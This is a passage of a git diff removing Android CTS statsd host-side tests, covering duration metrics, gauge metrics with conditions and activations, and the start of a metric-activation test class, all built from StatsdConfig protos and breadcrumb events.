- SimplePredicate simplePredicate = SimplePredicate.newBuilder()
- .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
- .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
- .build();
- Predicate predicate = Predicate.newBuilder()
- .setId(MetricsUtils.StringToId("Predicate"))
- .setSimplePredicate(simplePredicate)
- .build();
- builder.addPredicate(predicate);
-
- // Add DurationMetric.
- builder
- .addDurationMetric(StatsdConfigProto.DurationMetric.newBuilder()
- .setId(MetricsUtils.DURATION_METRIC_ID)
- .setWhat(predicate.getId())
- .setAggregationType(StatsdConfigProto.DurationMetric.AggregationType.SUM)
- .setBucket(StatsdConfigProto.TimeUnit.CTS)
- )
- .addMetricActivation(StatsdConfigProto.MetricActivation.newBuilder()
- .setMetricId(MetricsUtils.DURATION_METRIC_ID)
- .addEventActivation(StatsdConfigProto.EventActivation.newBuilder()
- .setAtomMatcherId(activationMatcherId)
- .setActivationType(
- StatsdConfigProto.ActivationType.ACTIVATE_IMMEDIATELY)
- .setTtlSeconds(ttlSec)));
-
- // Upload config.
- uploadConfig(builder);
-
- // Start uncounted duration.
- doAppBreadcrumbReportedStart(durationLabel);
- Thread.sleep(10);
-
- Thread.sleep(2_000);
-
- // Stop uncounted duration.
- doAppBreadcrumbReportedStop(durationLabel);
- Thread.sleep(10);
-
- // Activate the metric.
- doAppBreadcrumbReported(activationMatcherLabel);
- Thread.sleep(10);
-
- // Start counted duration.
- doAppBreadcrumbReportedStart(durationLabel);
- Thread.sleep(10);
-
- Thread.sleep(2_000);
-
- // Stop counted duration.
- doAppBreadcrumbReportedStop(durationLabel);
- Thread.sleep(10);
-
- Thread.sleep(2_000);
- StatsLogReport metricReport = getStatsLogReport();
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.DURATION_METRIC_ID);
- LogUtil.CLog.d("Received the following data: " + metricReport.toString());
- assertThat(metricReport.hasDurationMetrics()).isTrue();
- StatsLogReport.DurationMetricDataWrapper durationData
- = metricReport.getDurationMetrics();
- assertThat(durationData.getDataCount()).isEqualTo(1);
- long totalDuration = durationData.getData(0).getBucketInfoList().stream()
- .mapToLong(bucketInfo -> bucketInfo.getDurationNanos())
- .peek(durationNs -> assertThat(durationNs).isIn(Range.openClosed(0L, (long)1e9)))
- .sum();
- assertThat(totalDuration).isIn(Range.open((long)2e9, (long)3e9));
- }
-
- public void testDurationMetricWithConditionAndActivation() throws Exception {
- final int durationLabel = 1;
- final int conditionLabel = 2;
- final int activationMatcherId = 5;
- final int activationMatcherLabel = 5;
- final int ttlSec = 5;
-
- // Add AtomMatchers.
- AtomMatcher startAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
- APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, durationLabel);
- AtomMatcher stopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
- APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, durationLabel);
- AtomMatcher conditionStartAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
- APP_BREADCRUMB_REPORTED_B_MATCH_START_ID, conditionLabel);
- AtomMatcher conditionStopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
- APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID, conditionLabel);
- StatsdConfigProto.AtomMatcher activationMatcher =
- MetricsUtils.appBreadcrumbMatcherWithLabel(activationMatcherId,
- activationMatcherLabel);
-
- StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
- .addAtomMatcher(startAtomMatcher)
- .addAtomMatcher(stopAtomMatcher)
- .addAtomMatcher(conditionStartAtomMatcher)
- .addAtomMatcher(conditionStopAtomMatcher)
- .addAtomMatcher(activationMatcher);
-
- // Add Predicates.
- SimplePredicate simplePredicate = SimplePredicate.newBuilder()
- .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
- .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
- .build();
- Predicate predicate = Predicate.newBuilder()
- .setId(MetricsUtils.StringToId("Predicate"))
- .setSimplePredicate(simplePredicate)
- .build();
- builder.addPredicate(predicate);
-
- SimplePredicate conditionSimplePredicate = SimplePredicate.newBuilder()
- .setStart(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
- .setStop(APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID)
- .build();
- Predicate conditionPredicate = Predicate.newBuilder()
- .setId(MetricsUtils.StringToId("ConditionPredicate"))
- .setSimplePredicate(conditionSimplePredicate)
- .build();
- builder.addPredicate(conditionPredicate);
-
- // Add DurationMetric.
- builder
- .addDurationMetric(StatsdConfigProto.DurationMetric.newBuilder()
- .setId(MetricsUtils.DURATION_METRIC_ID)
- .setWhat(predicate.getId())
- .setAggregationType(StatsdConfigProto.DurationMetric.AggregationType.SUM)
- .setBucket(StatsdConfigProto.TimeUnit.CTS)
- .setCondition(conditionPredicate.getId())
- )
- .addMetricActivation(StatsdConfigProto.MetricActivation.newBuilder()
- .setMetricId(MetricsUtils.DURATION_METRIC_ID)
- .addEventActivation(StatsdConfigProto.EventActivation.newBuilder()
- .setAtomMatcherId(activationMatcherId)
- .setActivationType(
- StatsdConfigProto.ActivationType.ACTIVATE_IMMEDIATELY)
- .setTtlSeconds(ttlSec)));
-
- // Upload config.
- uploadConfig(builder);
-
- // Activate the metric.
- doAppBreadcrumbReported(activationMatcherLabel);
- Thread.sleep(10);
-
- // Set the condition to true.
- doAppBreadcrumbReportedStart(conditionLabel);
- Thread.sleep(10);
-
- // Start counted duration.
- doAppBreadcrumbReportedStart(durationLabel);
- Thread.sleep(10);
-
- Thread.sleep(2_000);
-
- // Stop counted duration.
- doAppBreadcrumbReportedStop(durationLabel);
- Thread.sleep(10);
-
- // Set the condition to false.
- doAppBreadcrumbReportedStop(conditionLabel);
- Thread.sleep(10);
-
- // Start uncounted duration.
- doAppBreadcrumbReportedStart(durationLabel);
- Thread.sleep(10);
-
- Thread.sleep(2_000);
-
- // Stop uncounted duration.
- doAppBreadcrumbReportedStop(durationLabel);
- Thread.sleep(10);
-
- // Let the metric deactivate.
- Thread.sleep(ttlSec * 1000);
- //doAppBreadcrumbReported(99); // TODO: maybe remove?
- //Thread.sleep(10);
-
- // Start uncounted duration.
- doAppBreadcrumbReportedStart(durationLabel);
- Thread.sleep(10);
-
- Thread.sleep(2_000);
-
- // Stop uncounted duration.
- doAppBreadcrumbReportedStop(durationLabel);
- Thread.sleep(10);
-
- // Set condition to true again.
- doAppBreadcrumbReportedStart(conditionLabel);
- Thread.sleep(10);
-
- // Start uncounted duration.
- doAppBreadcrumbReportedStart(durationLabel);
- Thread.sleep(10);
-
- Thread.sleep(2_000);
-
- // Stop uncounted duration.
- doAppBreadcrumbReportedStop(durationLabel);
- Thread.sleep(10);
-
- // Activate the metric.
- doAppBreadcrumbReported(activationMatcherLabel);
- Thread.sleep(10);
-
- // Start counted duration.
- doAppBreadcrumbReportedStart(durationLabel);
- Thread.sleep(10);
-
- Thread.sleep(2_000);
-
- // Stop counted duration.
- doAppBreadcrumbReportedStop(durationLabel);
- Thread.sleep(10);
-
- // Let the metric deactivate.
- Thread.sleep(ttlSec * 1000);
-
- // Start uncounted duration.
- doAppBreadcrumbReportedStart(durationLabel);
- Thread.sleep(10);
-
- Thread.sleep(2_000);
-
- // Stop uncounted duration.
- doAppBreadcrumbReportedStop(durationLabel);
- Thread.sleep(10);
-
- // Wait for the metrics to propagate to statsd.
- Thread.sleep(2000);
-
- StatsLogReport metricReport = getStatsLogReport();
- LogUtil.CLog.d("Received the following data: " + metricReport.toString());
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.DURATION_METRIC_ID);
- assertThat(metricReport.hasDurationMetrics()).isTrue();
- StatsLogReport.DurationMetricDataWrapper durationData
- = metricReport.getDurationMetrics();
- assertThat(durationData.getDataCount()).isEqualTo(1);
- long totalDuration = durationData.getData(0).getBucketInfoList().stream()
- .mapToLong(bucketInfo -> bucketInfo.getDurationNanos())
- .peek(durationNs -> assertThat(durationNs).isIn(Range.openClosed(0L, (long)1e9)))
- .sum();
- assertThat(totalDuration).isIn(Range.open((long)4e9, (long)5e9));
- }
-
- public void testDurationMetricWithDimension() throws Exception {
- // Add AtomMatchers.
- AtomMatcher startAtomMatcherA =
- MetricsUtils.startAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID);
- AtomMatcher stopAtomMatcherA =
- MetricsUtils.stopAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID);
- AtomMatcher startAtomMatcherB =
- MetricsUtils.startAtomMatcher(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID);
- AtomMatcher stopAtomMatcherB =
- MetricsUtils.stopAtomMatcher(APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID);
-
- StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
- builder.addAtomMatcher(startAtomMatcherA);
- builder.addAtomMatcher(stopAtomMatcherA);
- builder.addAtomMatcher(startAtomMatcherB);
- builder.addAtomMatcher(stopAtomMatcherB);
-
- // Add Predicates.
- SimplePredicate simplePredicateA = SimplePredicate.newBuilder()
- .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
- .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
- .build();
- Predicate predicateA = Predicate.newBuilder()
- .setId(MetricsUtils.StringToId("Predicate_A"))
- .setSimplePredicate(simplePredicateA)
- .build();
- builder.addPredicate(predicateA);
-
- FieldMatcher.Builder dimensionsBuilder = FieldMatcher.newBuilder()
- .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER);
- dimensionsBuilder
- .addChild(FieldMatcher.newBuilder().setField(
- AppBreadcrumbReported.LABEL_FIELD_NUMBER));
- Predicate predicateB =
- Predicate.newBuilder()
- .setId(MetricsUtils.StringToId("Predicate_B"))
- .setSimplePredicate(SimplePredicate.newBuilder()
- .setStart(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
- .setStop(APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID)
- .setDimensions(dimensionsBuilder.build())
- .build())
- .build();
- builder.addPredicate(predicateB);
-
- // Add DurationMetric.
- builder.addDurationMetric(
- StatsdConfigProto.DurationMetric.newBuilder()
- .setId(MetricsUtils.DURATION_METRIC_ID)
- .setWhat(predicateB.getId())
- .setCondition(predicateA.getId())
- .setAggregationType(StatsdConfigProto.DurationMetric.AggregationType.SUM)
- .setBucket(StatsdConfigProto.TimeUnit.CTS)
- .setDimensionsInWhat(
- FieldMatcher.newBuilder()
- .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addChild(FieldMatcher.newBuilder().setField(
- AppBreadcrumbReported.LABEL_FIELD_NUMBER))));
-
- // Upload config.
- uploadConfig(builder);
-
- // Trigger events.
- doAppBreadcrumbReportedStart(1);
- Thread.sleep(2000);
- doAppBreadcrumbReportedStart(2);
- Thread.sleep(2000);
- doAppBreadcrumbReportedStop(1);
- Thread.sleep(2000);
- doAppBreadcrumbReportedStop(2);
-
- // Wait for the metrics to propagate to statsd.
- Thread.sleep(2000);
-
- StatsLogReport metricReport = getStatsLogReport();
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.DURATION_METRIC_ID);
- assertThat(metricReport.hasDurationMetrics()).isTrue();
- StatsLogReport.DurationMetricDataWrapper durationData
- = metricReport.getDurationMetrics();
- assertThat(durationData.getDataCount()).isEqualTo(2);
- assertThat(durationData.getData(0).getBucketInfoCount()).isGreaterThan(3);
- assertThat(durationData.getData(1).getBucketInfoCount()).isGreaterThan(3);
- long totalDuration = 0;
- for (DurationBucketInfo bucketInfo : durationData.getData(0).getBucketInfoList()) {
- assertThat(bucketInfo.getDurationNanos()).isIn(Range.openClosed(0L, (long) 1e9));
- totalDuration += bucketInfo.getDurationNanos();
- }
- // Duration for both labels is expected to be 4s.
- assertThat(totalDuration).isIn(Range.open((long) 3e9, (long) 8e9));
- totalDuration = 0;
- for (DurationBucketInfo bucketInfo : durationData.getData(1).getBucketInfoList()) {
- assertThat(bucketInfo.getDurationNanos()).isIn(Range.openClosed(0L, (long) 1e9));
- totalDuration += bucketInfo.getDurationNanos();
- }
- assertThat(totalDuration).isIn(Range.open((long) 3e9, (long) 8e9));
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java
deleted file mode 100644
index 2280e13..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java
+++ /dev/null
@@ -1,336 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.ActivationType;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.EventActivation;
-import com.android.internal.os.StatsdConfigProto.FieldFilter;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.GaugeMetric;
-import com.android.internal.os.StatsdConfigProto.MetricActivation;
-import com.android.internal.os.StatsdConfigProto.Predicate;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.internal.os.StatsdConfigProto.SimplePredicate;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.GaugeBucketInfo;
-import com.android.os.StatsLog.GaugeMetricData;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.tradefed.log.LogUtil;
-
-public class GaugeMetricsTests extends DeviceAtomTestCase {
-
- private static final int APP_BREADCRUMB_REPORTED_A_MATCH_START_ID = 0;
- private static final int APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID = 1;
- private static final int APP_BREADCRUMB_REPORTED_B_MATCH_START_ID = 2;
-
- public void testGaugeMetric() throws Exception {
- // Add AtomMatcher's.
- AtomMatcher startAtomMatcher =
- MetricsUtils.startAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID);
- AtomMatcher stopAtomMatcher =
- MetricsUtils.stopAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID);
- AtomMatcher atomMatcher =
- MetricsUtils.simpleAtomMatcher(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID);
-
- StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
- builder.addAtomMatcher(startAtomMatcher);
- builder.addAtomMatcher(stopAtomMatcher);
- builder.addAtomMatcher(atomMatcher);
-
- // Add Predicate's.
- SimplePredicate simplePredicate = SimplePredicate.newBuilder()
- .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
- .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
- .build();
- Predicate predicate = Predicate.newBuilder()
- .setId(MetricsUtils.StringToId("Predicate"))
- .setSimplePredicate(simplePredicate)
- .build();
- builder.addPredicate(predicate);
-
- // Add GaugeMetric.
- FieldMatcher fieldMatcher =
- FieldMatcher.newBuilder().setField(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID).build();
- builder.addGaugeMetric(
- StatsdConfigProto.GaugeMetric.newBuilder()
- .setId(MetricsUtils.GAUGE_METRIC_ID)
- .setWhat(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
- .setCondition(predicate.getId())
- .setGaugeFieldsFilter(
- FieldFilter.newBuilder().setIncludeAll(false).setFields(fieldMatcher).build())
- .setDimensionsInWhat(
- FieldMatcher.newBuilder()
- .setField(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
- .addChild(FieldMatcher.newBuilder()
- .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER)
- .build())
- .build())
- .setBucket(StatsdConfigProto.TimeUnit.CTS)
- .build());
-
- // Upload config.
- uploadConfig(builder);
-
- // Create AppBreadcrumbReported Start/Stop events.
- doAppBreadcrumbReportedStart(0);
- Thread.sleep(10);
- doAppBreadcrumbReportedStart(1);
- Thread.sleep(10);
- doAppBreadcrumbReportedStart(2);
- Thread.sleep(2000);
- doAppBreadcrumbReportedStop(2);
- Thread.sleep(10);
- doAppBreadcrumbReportedStop(0);
- Thread.sleep(10);
- doAppBreadcrumbReportedStop(1);
- doAppBreadcrumbReportedStart(2);
- Thread.sleep(10);
- doAppBreadcrumbReportedStart(1);
- Thread.sleep(2000);
- doAppBreadcrumbReportedStop(2);
- Thread.sleep(10);
- doAppBreadcrumbReportedStop(1);
-
- // Wait for the metrics to propagate to statsd.
- Thread.sleep(2000);
-
- StatsLogReport metricReport = getStatsLogReport();
- LogUtil.CLog.d("Got the following gauge metric data: " + metricReport.toString());
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.GAUGE_METRIC_ID);
- assertThat(metricReport.hasGaugeMetrics()).isTrue();
- StatsLogReport.GaugeMetricDataWrapper gaugeData = metricReport.getGaugeMetrics();
- assertThat(gaugeData.getDataCount()).isEqualTo(1);
-
- int bucketCount = gaugeData.getData(0).getBucketInfoCount();
- GaugeMetricData data = gaugeData.getData(0);
- assertThat(bucketCount).isGreaterThan(2);
- MetricsUtils.assertBucketTimePresent(data.getBucketInfo(0));
- assertThat(data.getBucketInfo(0).getAtomCount()).isEqualTo(1);
- assertThat(data.getBucketInfo(0).getAtom(0).getAppBreadcrumbReported().getLabel())
- .isEqualTo(0);
- assertThat(data.getBucketInfo(0).getAtom(0).getAppBreadcrumbReported().getState())
- .isEqualTo(AppBreadcrumbReported.State.START);
-
- MetricsUtils.assertBucketTimePresent(data.getBucketInfo(1));
- assertThat(data.getBucketInfo(1).getAtomCount()).isEqualTo(1);
-
- MetricsUtils.assertBucketTimePresent(data.getBucketInfo(bucketCount-1));
- assertThat(data.getBucketInfo(bucketCount-1).getAtomCount()).isEqualTo(1);
- assertThat(data.getBucketInfo(bucketCount-1).getAtom(0).getAppBreadcrumbReported().getLabel())
- .isEqualTo(2);
- assertThat(data.getBucketInfo(bucketCount-1).getAtom(0).getAppBreadcrumbReported().getState())
- .isEqualTo(AppBreadcrumbReported.State.STOP);
- }
-
- public void testPulledGaugeMetricWithActivation() throws Exception {
- // Add AtomMatcher's.
- int activationAtomMatcherId = 1;
- int activationAtomMatcherLabel = 1;
-
- int systemUptimeMatcherId = 2;
- AtomMatcher activationAtomMatcher =
- MetricsUtils.appBreadcrumbMatcherWithLabel(
- activationAtomMatcherId, activationAtomMatcherLabel);
- AtomMatcher systemUptimeMatcher =
- AtomMatcher.newBuilder()
- .setId(systemUptimeMatcherId)
- .setSimpleAtomMatcher(
- SimpleAtomMatcher.newBuilder().setAtomId(Atom.SYSTEM_UPTIME_FIELD_NUMBER))
- .build();
-
- StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
- builder.addAtomMatcher(activationAtomMatcher);
- builder.addAtomMatcher(systemUptimeMatcher);
-
- // Add GaugeMetric.
- builder.addGaugeMetric(
- StatsdConfigProto.GaugeMetric.newBuilder()
- .setId(MetricsUtils.GAUGE_METRIC_ID)
- .setWhat(systemUptimeMatcherId)
- .setGaugeFieldsFilter(
- FieldFilter.newBuilder().setIncludeAll(true).build())
- .setBucket(StatsdConfigProto.TimeUnit.CTS)
- .build());
-
- // Add activation.
- builder.addMetricActivation(MetricActivation.newBuilder()
- .setMetricId(MetricsUtils.GAUGE_METRIC_ID)
- .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
- .addEventActivation(EventActivation.newBuilder()
- .setAtomMatcherId(activationAtomMatcherId)
- .setTtlSeconds(5)));
-
- // Upload config.
- uploadConfig(builder);
-
- // Plenty of time to pull, but we should not keep the data since we are not active.
- Thread.sleep(20_000);
-
- StatsLogReport metricReport = getStatsLogReport();
- LogUtil.CLog.d("Got the following gauge metric data: " + metricReport.toString());
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.GAUGE_METRIC_ID);
- assertThat(metricReport.hasGaugeMetrics()).isFalse();
- }
-
- public void testPulledGaugeMetricWithConditionAndActivation() throws Exception {
- final int conditionLabel = 2;
- final int activationMatcherId = 5;
- final int activationMatcherLabel = 5;
- final int whatMatcherId = 8;
- final int ttlSec = 5;
-
- // Add AtomMatchers.
- AtomMatcher conditionStartAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
- APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, conditionLabel);
- AtomMatcher conditionStopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
- APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, conditionLabel);
- AtomMatcher activationMatcher =
- MetricsUtils.startAtomMatcherWithLabel(
- activationMatcherId, activationMatcherLabel);
- AtomMatcher whatMatcher =
- MetricsUtils.unspecifiedAtomMatcher(whatMatcherId);
-
- StatsdConfig.Builder builder = createConfigBuilder()
- .addAtomMatcher(conditionStartAtomMatcher)
- .addAtomMatcher(conditionStopAtomMatcher)
- .addAtomMatcher(whatMatcher)
- .addAtomMatcher(activationMatcher);
-
- // Add Predicates.
- SimplePredicate simplePredicate = SimplePredicate.newBuilder()
- .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
- .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
- .build();
- Predicate predicate = Predicate.newBuilder()
- .setId(MetricsUtils.StringToId("Predicate"))
- .setSimplePredicate(simplePredicate)
- .build();
- builder.addPredicate(predicate);
-
- // Add GaugeMetric.
- builder
- .addGaugeMetric(GaugeMetric.newBuilder()
- .setId(MetricsUtils.GAUGE_METRIC_ID)
- .setWhat(whatMatcher.getId())
- .setBucket(TimeUnit.CTS)
- .setCondition(predicate.getId())
- .setGaugeFieldsFilter(
- FieldFilter.newBuilder().setIncludeAll(false).setFields(
- FieldMatcher.newBuilder()
- .setField(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
- )
- )
- .setDimensionsInWhat(FieldMatcher.newBuilder().setField(whatMatcherId))
- )
- .addMetricActivation(MetricActivation.newBuilder()
- .setMetricId(MetricsUtils.GAUGE_METRIC_ID)
- .addEventActivation(EventActivation.newBuilder()
- .setAtomMatcherId(activationMatcherId)
- .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
- .setTtlSeconds(ttlSec)
- )
- );
-
- uploadConfig(builder);
-
- // Activate the metric.
- doAppBreadcrumbReportedStart(activationMatcherLabel);
- Thread.sleep(10);
-
- // Set the condition to true.
- doAppBreadcrumbReportedStart(conditionLabel);
- Thread.sleep(10);
-
- // This value is collected.
- doAppBreadcrumbReported(10);
- Thread.sleep(10);
-
- // Ignored; value already collected.
- doAppBreadcrumbReported(20);
- Thread.sleep(10);
-
- // Set the condition to false.
- doAppBreadcrumbReportedStop(conditionLabel);
- Thread.sleep(10);
-
- // Value not updated because condition is false.
- doAppBreadcrumbReported(30);
- Thread.sleep(10);
-
- // Let the metric deactivate.
- Thread.sleep(ttlSec * 1000);
-
- // Value not collected.
- doAppBreadcrumbReported(40);
- Thread.sleep(10);
-
- // Condition to true again.
- doAppBreadcrumbReportedStart(conditionLabel);
- Thread.sleep(10);
-
- // Value not collected.
- doAppBreadcrumbReported(50);
- Thread.sleep(10);
-
- // Activate the metric.
- doAppBreadcrumbReportedStart(activationMatcherLabel);
- Thread.sleep(10);
-
- // Value collected.
- doAppBreadcrumbReported(60);
- Thread.sleep(10);
-
- // Let the metric deactivate.
- Thread.sleep(ttlSec * 1000);
-
- // Value not collected.
- doAppBreadcrumbReported(70);
- Thread.sleep(10);
-
- // Wait for the metrics to propagate to statsd.
- Thread.sleep(2000);
-
- StatsLogReport metricReport = getStatsLogReport();
- LogUtil.CLog.d("Received the following data: " + metricReport.toString());
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.GAUGE_METRIC_ID);
- assertThat(metricReport.hasGaugeMetrics()).isTrue();
- assertThat(metricReport.getIsActive()).isFalse();
-
- StatsLogReport.GaugeMetricDataWrapper gaugeData = metricReport.getGaugeMetrics();
- assertThat(gaugeData.getDataCount()).isEqualTo(1);
- assertThat(gaugeData.getData(0).getBucketInfoCount()).isEqualTo(2);
-
- GaugeBucketInfo bucketInfo = gaugeData.getData(0).getBucketInfo(0);
- MetricsUtils.assertBucketTimePresent(bucketInfo);
- assertThat(bucketInfo.getAtomCount()).isEqualTo(1);
- assertThat(bucketInfo.getAtom(0).getAppBreadcrumbReported().getLabel()).isEqualTo(10);
-
- bucketInfo = gaugeData.getData(0).getBucketInfo(1);
- MetricsUtils.assertBucketTimePresent(bucketInfo);
- assertThat(bucketInfo.getAtomCount()).isEqualTo(1);
- assertThat(bucketInfo.getAtom(0).getAppBreadcrumbReported().getLabel()).isEqualTo(60);
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
deleted file mode 100644
index 339970a..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
+++ /dev/null
@@ -1,566 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.ActivationType;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.EventActivation;
-import com.android.internal.os.StatsdConfigProto.EventMetric;
-import com.android.internal.os.StatsdConfigProto.GaugeMetric;
-import com.android.internal.os.StatsdConfigProto.MetricActivation;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.ConfigMetricsReport;
-import com.android.os.StatsLog.ConfigMetricsReportList;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.tradefed.log.LogUtil;
-
-import java.util.List;
-
-/**
- * Test Statsd Metric activations and deactivations
- */
-public class MetricActivationTests extends DeviceAtomTestCase {
- private final long metric1Id = 1L;
- private final int metric1MatcherId = 1;
-
- private final long metric2Id = 2L;
- private final int metric2MatcherId = 2;
-
- private final long metric3Id = 3L;
- private final int metric3MatcherId = 3;
-
- private final int act1MatcherId = 10;
- private final int act1CancelMatcherId = -10;
-
- private final int act2MatcherId = 20;
- private final int act2CancelMatcherId = -20;
-
-
- private StatsdConfig.Builder createConfig(final int act1TtlSecs, final int act2TtlSecs) {
- AtomMatcher metric1Matcher =
- MetricsUtils.simpleAtomMatcher(metric1MatcherId, metric1MatcherId);
- AtomMatcher metric2Matcher =
- MetricsUtils.simpleAtomMatcher(metric2MatcherId, metric2MatcherId);
- AtomMatcher metric3Matcher =
- MetricsUtils.simpleAtomMatcher(metric3MatcherId, metric3MatcherId);
- AtomMatcher act1Matcher =
- MetricsUtils.simpleAtomMatcher(act1MatcherId, act1MatcherId);
- AtomMatcher act1CancelMatcher =
- MetricsUtils.simpleAtomMatcher(act1CancelMatcherId, act1CancelMatcherId);
- AtomMatcher act2Matcher =
- MetricsUtils.simpleAtomMatcher(act2MatcherId, act2MatcherId);
- AtomMatcher act2CancelMatcher =
- MetricsUtils.simpleAtomMatcher(act2CancelMatcherId, act2CancelMatcherId);
-
- EventMetric metric1 = EventMetric.newBuilder()
- .setId(metric1Id)
- .setWhat(metric1MatcherId)
- .build();
-
- EventMetric metric2 = EventMetric.newBuilder()
- .setId(metric2Id)
- .setWhat(metric2MatcherId)
- .build();
-
- EventMetric metric3 = EventMetric.newBuilder()
- .setId(metric3Id)
- .setWhat(metric3MatcherId)
- .build();
-
- EventActivation metric1Act1 =
- MetricsUtils.createEventActivation(act1TtlSecs, act1MatcherId, act1CancelMatcherId)
- .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
- .build();
-
- EventActivation metric1Act2 =
- MetricsUtils.createEventActivation(act2TtlSecs, act2MatcherId, act2CancelMatcherId)
- .setActivationType(ActivationType.ACTIVATE_ON_BOOT)
- .build();
-
- EventActivation metric2Act1 =
- MetricsUtils.createEventActivation(act1TtlSecs, act1MatcherId, act1CancelMatcherId)
- .setActivationType(ActivationType.ACTIVATE_ON_BOOT)
- .build();
-
- EventActivation metric2Act2 =
- MetricsUtils.createEventActivation(act2TtlSecs, act2MatcherId, act2CancelMatcherId)
- .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
- .build();
-
- MetricActivation metric1Activation = MetricActivation.newBuilder()
- .setMetricId(metric1Id)
- .addEventActivation(metric1Act1)
